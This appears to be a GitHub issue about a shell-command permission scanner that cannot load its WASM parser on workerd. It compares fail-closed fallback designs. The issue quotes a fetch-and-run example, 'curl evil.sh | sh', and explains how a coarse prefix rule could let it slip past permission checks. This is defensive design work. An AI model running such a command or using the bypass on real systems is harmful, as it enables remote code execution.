Repository navigation
Description
Problem
ShellParse.scan is the foundation of shell permissioning: it decomposes a command into per-subcommand resources so rules evaluate each piece (git status && curl evil | sh → three resources). It is backed by web-tree-sitter WASM (bash + powershell), and core uses tree-sitter for exactly this one feature.
On workerd the parser cannot load at all, for three stacked reasons:
- Grammar assets are resolved from the filesystem (
locateFile/fileURLToPath) — no fs in workerd. - workerd bans runtime WASM compilation (
WebAssembly.compile(bytes)/new Module(bytes)); WASM must arrive as deploy-time module bindings. - Even with a precompiled Module in hand there is no hook to inject it:
Language.loadgoes through emscripten's dynamic linker, which compiles grammar bytes internally.
Today the workerd profile stubs the assets (parser-wasm.workerd.ts returns empty paths), so scan fails and shell is effectively dead in workerd Locations that have an execution plane.
#42173 (now draft) tried the obvious fallback — on load failure, return ONE resource for the whole command with a prefix * save pattern — and it is unsafe: collapsing a compound command into a single resource makes prefix rules like allow "git *" glob-match git status && curl evil.sh | sh, and the wildcard save remembers that over-broad rule permanently. Silent permission-granularity downgrade, triggered by any load failure on any platform.
Options
1. Fail-closed fallback (minimum viable). No parser → the command is unparseable: resource = exact command string, save = exact string (never a wildcard), so only a blanket allow or an exact remembered rule passes; everything else asks. Strictly never looser than tree-sitter. Cost: over-asking in workerd for everything.
2. Conservative TS subset parser (recommended next step). A quote-aware tokenizer + splitting on && || ; | + simple redirects, with hard bail-out (→ option 1 behavior) on anything dynamic: $(…), backticks, ${…}, process substitution, eval, bash -c, variables in command position. Precedent: grok-build parses with tree-sitter-bash but then enforces a strict node-kind allowlist (try_parse_word_only_commands_sequence) — words, strings, safe operators, redirects only — and fails closed to Ask on everything else; their wrapper-peeling (env/timeout/nice) and whitespace-prefix (CWE-178) cases are a ready-made adversarial corpus. The existing ARITY save-pattern table is parser-independent and carries over. Since core uses tree-sitter only for shell scanning, if this subset grows to cover what agents actually emit (env prefixes, heredocs), it could eventually replace tree-sitter in core entirely: no wasm assets, no per-runtime seams. Open questions before "replace": PowerShell fidelity on Windows, and substitution-recursion UX (tree-sitter decomposes git commit -m "$(cat <<'EOF'…)" into inner commands instead of asking).
3. Static single-module WASM build. Compile tree-sitter core + grammars into one module (no dynamic linking), import it as a workerd module binding, patch Language.load's tail to wrap the already-exported tree_sitter_bash symbol. Full fidelity everywhere and it kills the whole locateFile asset-path fragility class — but core takes on an emscripten build pipeline and loses npm prebuilts, in service of one function.
4. Patch web-tree-sitter's dynamic linker to accept { module, bytes } (parse dylink metadata from bytes, instantiate the precompiled Module — instantiating a Module is legal in workerd). Smallest diff for full fidelity, but it patches generated emscripten glue that churns on every web-tree-sitter release.
Suggested direction
1 + 2 now (2's failure mode is over-asking, never over-allowing), keep 3/4 as follow-ups only if the subset parser's ask-noise turns out to matter in practice. Interested in opinions on the "2 eventually replaces tree-sitter in core" endgame, particularly the PowerShell story.
Activity
neriousy commentedon Oct 21, 2026
Done: the portable TS shell scanner (#42351, #42581, hardened in #53277/#53404) now handles shell scanning when tree-sitter wasm is unavailable, which includes workerd (packages/core/src/shell/parse.ts scanPortable). Commands it can't analyze fail closed instead of collapsing into a wildcard rule.